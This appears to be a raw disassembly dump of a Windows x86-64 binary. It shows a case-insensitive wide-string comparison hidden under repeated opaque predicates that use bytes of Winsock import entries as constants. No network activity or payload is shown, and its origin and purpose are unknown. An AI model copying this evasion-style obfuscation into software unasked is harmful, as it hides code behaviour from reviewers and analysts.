movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x78], xmm1
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400575a1
call fcn.140012bd0
movsx ebx, byte [0x14087fc72]
movsx ecx, al
imul ebx, ecx
add ebx, ebx
call fcn.140012c00
movsx ecx, al
sub ebx, ecx
call fcn.140012be0
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x1400575a1
mov dword [rbp - 0x5c], esi
lea r13d, [r14 + 0x20]
jmp 0x1400577d0
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140057634
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x78]
cvttsd2si eax, xmm0
mov dword [rbp - 0x5c], eax
jmp 0x140057637
mov eax, dword [rbp - 0x5c]
test eax, eax
jle 0x140057644
lea r13d, [r14 + 0x20]
jmp 0x1400577d0
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm2, xmm2
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm2, rax
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x78], xmm1
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140057733
call fcn.140012bd0
movsx ebx, byte [0x14087fc72]
movsx ecx, al
imul ebx, ecx
add ebx, ebx
call fcn.140012c00
movsx ecx, al
sub ebx, ecx
call fcn.140012be0
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x140057733
mov dword [rbp - 0x60], esi
jmp 0x1400577cd
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400577c6
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x78]
cvttsd2si eax, xmm0
mov dword [rbp - 0x60], eax
jmp 0x1400577c9
mov eax, dword [rbp - 0x60]
test eax, eax
jle 0x1400577d0
mov r13d, r14d
movzx r14d, word [r12]
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
imul ebx, ecx, 7
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140057b4b
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
xor ecx, ecx
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
lea eax, [r14 - 0x41]
cvtdq2pd xmm0, xmm0
cmp eax, 0x19
setbe cl
addsd xmm0, xmm0
subsd xmm1, xmm0
xorps xmm0, xmm0
cvtsi2sd xmm0, rcx
mulsd xmm1, xmm0
movsd qword [rsp + 0x78], xmm1
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400578d6
call fcn.140012bd0
movsx ebx, byte [0x14087fc72]
movsx ecx, al
imul ebx, ecx
add ebx, ebx
call fcn.140012c00
movsx ecx, al
sub ebx, ecx
call fcn.140012be0
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x1400578d6
mov dword [rbp - 0x64], esi
jmp 0x140057967
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140057967
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x78]
cvttsd2si eax, xmm0
mov dword [rbp - 0x64], eax
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx edi, al
imul edi, ebx
add edi, edi
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, edi
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
imul eax, dword [rbp - 0x64]
test eax, eax
je 0x140057b4b
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm2, xmm2
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm2, rax
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x78], xmm1
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140057aa5
call fcn.140012bd0
movsx ebx, byte [0x14087fc72]
movsx ecx, al
imul ebx, ecx
add ebx, ebx
call fcn.140012c00
movsx ecx, al
sub ebx, ecx
call fcn.140012be0
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x140057aa5
lea eax, [r14 + 0x20]
mov dword [rbp - 0x3c], esi
mov dword [rbp - 0x34], eax
jmp 0x140057cd8
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140057b38
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x78]
cvttsd2si ecx, xmm0
mov dword [rbp - 0x3c], ecx
jmp 0x140057b3b
mov ecx, dword [rbp - 0x3c]
test ecx, ecx
jle 0x140057b4b
lea eax, [r14 + 0x20]
mov dword [rbp - 0x34], eax
jmp 0x140057cd8
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm2, xmm2
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm2, rax
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x78], xmm1
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140057c3a
call fcn.140012bd0
movsx ebx, byte [0x14087fc72]
movsx ecx, al
imul ebx, ecx
add ebx, ebx
call fcn.140012c00
movsx ecx, al
sub ebx, ecx
call fcn.140012be0
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x140057c3a
mov dword [rbp - 0x38], esi
jmp 0x140057cd4
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140057ccd
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x78]
cvttsd2si eax, xmm0
mov dword [rbp - 0x38], eax
jmp 0x140057cd0
mov eax, dword [rbp - 0x38]
test eax, eax
jle 0x140057cd8
mov dword [rbp - 0x34], r14d
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
xor r14d, r14d
cmp r13d, dword [rbp - 0x34]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
mov eax, r14d
cvtdq2pd xmm0, xmm0
sete al
addsd xmm0, xmm0
subsd xmm1, xmm0
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm1, xmm0
movsd qword [rsp + 0x78], xmm1
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140057d97
call fcn.140012bd0
movsx ebx, byte [0x14087fc72]
movsx ecx, al
imul ebx, ecx
add ebx, ebx
call fcn.140012c00
movsx ecx, al
sub ebx, ecx
call fcn.140012be0
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x140057d97
mov dword [rbp - 0x30], esi
jmp 0x140057e28
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140057e28
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x78]
cvttsd2si eax, xmm0
mov dword [rbp - 0x30], eax
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*4]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
imul eax, dword [rbp - 0x30]
test eax, eax
je 0x1400583d3
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx edi, al
imul edi, ebx
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, edi
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400581da
cmp word [r15], r14w
jne 0x140057ec3
mov edx, 1
cmp word [r12], r14w
je 0x140057ec6
mov rdx, r14
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
xorps xmm0, xmm0
cvtsi2sd xmm0, rdx
mulsd xmm1, xmm0
movsd qword [rsp + 0x78], xmm1
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140057f78
call fcn.140012bd0
movsx ebx, byte [0x14087fc72]
movsx ecx, al
imul ebx, ecx
add ebx, ebx
call fcn.140012c00
movsx ecx, al
sub ebx, ecx
call fcn.140012be0
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x140057f78
mov dword [rbp - 0x2c], esi
jmp 0x140058009
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140058009
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x78]
cvttsd2si eax, xmm0
mov dword [rbp - 0x2c], eax
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx edi, al
imul edi, ebx
add edi, edi
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, edi
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
imul eax, dword [rbp - 0x2c]
test eax, eax
je 0x1400581da
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm2, xmm2
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm2, rax
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x78], xmm1
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14005813c
call fcn.140012bd0
movsx ebx, byte [0x14087fc72]
movsx ecx, al
imul ebx, ecx
add ebx, ebx
call fcn.140012c00
movsx ecx, al
sub ebx, ecx
call fcn.140012be0
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
jne 0x1400583c7
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400581cf
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x78]
cvttsd2si eax, xmm0
mov dword [rbp - 0x44], eax
jmp 0x1400581d2
mov eax, dword [rbp - 0x44]
test eax, eax
jg 0x1400583ca
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx edi, al
imul edi, ebx
shl edi, 3
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, edi
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400583ba
cmp word [r15], r14w
je 0x14005822d
mov rdx, r14
cmp word [r12], r14w
jne 0x140058232
mov edx, 1
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
xorps xmm0, xmm0
cvtsi2sd xmm0, rdx
mulsd xmm1, xmm0
movsd qword [rsp + 0x78], xmm1
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400582e4
call fcn.140012bd0
movsx ebx, byte [0x14087fc72]
movsx ecx, al
imul ebx, ecx
add ebx, ebx
call fcn.140012c00
movsx ecx, al
sub ebx, ecx
call fcn.140012be0
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x1400582e4
mov dword [rbp - 0x28], esi
jmp 0x140058375
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140058375
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x78]
cvttsd2si eax, xmm0
mov dword [rbp - 0x28], eax
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
imul eax, dword [rbp - 0x28]
test eax, eax
jne 0x1400583d3
add r15, 2
add r12, 2
jmp 0x1400572d0
mov dword [rbp - 0x44], esi
mov dword [rbp - 0x68], r14d
jmp 0x14005914f
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*4]
add ebx, ebx
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm2, xmm2
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm2, rax
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x78], xmm1
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400584c4
call fcn.140012bd0
movsx ebx, byte [0x14087fc72]
movsx ecx, al
imul ebx, ecx
add ebx, ebx
call fcn.140012c00
movsx ecx, al
sub ebx, ecx
call fcn.140012be0
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x1400584c4
mov dword [rbp - 0x48], esi
jmp 0x140058563
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140058557
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x78]
cvttsd2si edi, xmm0
mov dword [rbp - 0x48], edi
jmp 0x14005855a
mov edi, dword [rbp - 0x48]
cmp r14d, edi
jge 0x140058fbc
movzx r14d, word [r15]
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
imul ebx, ecx, 7
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400588e3
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
xor ecx, ecx
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
lea eax, [r14 - 0x41]
cvtdq2pd xmm0, xmm0
cmp eax, 0x19
setbe cl
addsd xmm0, xmm0
subsd xmm1, xmm0
xorps xmm0, xmm0
cvtsi2sd xmm0, rcx
mulsd xmm1, xmm0
movsd qword [rsp + 0x78], xmm1
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140058668
call fcn.140012bd0
movsx ebx, byte [0x14087fc72]
movsx ecx, al
imul ebx, ecx
add ebx, ebx
call fcn.140012c00
movsx ecx, al
sub ebx, ecx
call fcn.140012be0
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x140058668
mov dword [rbp - 4], esi
jmp 0x1400586f9
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
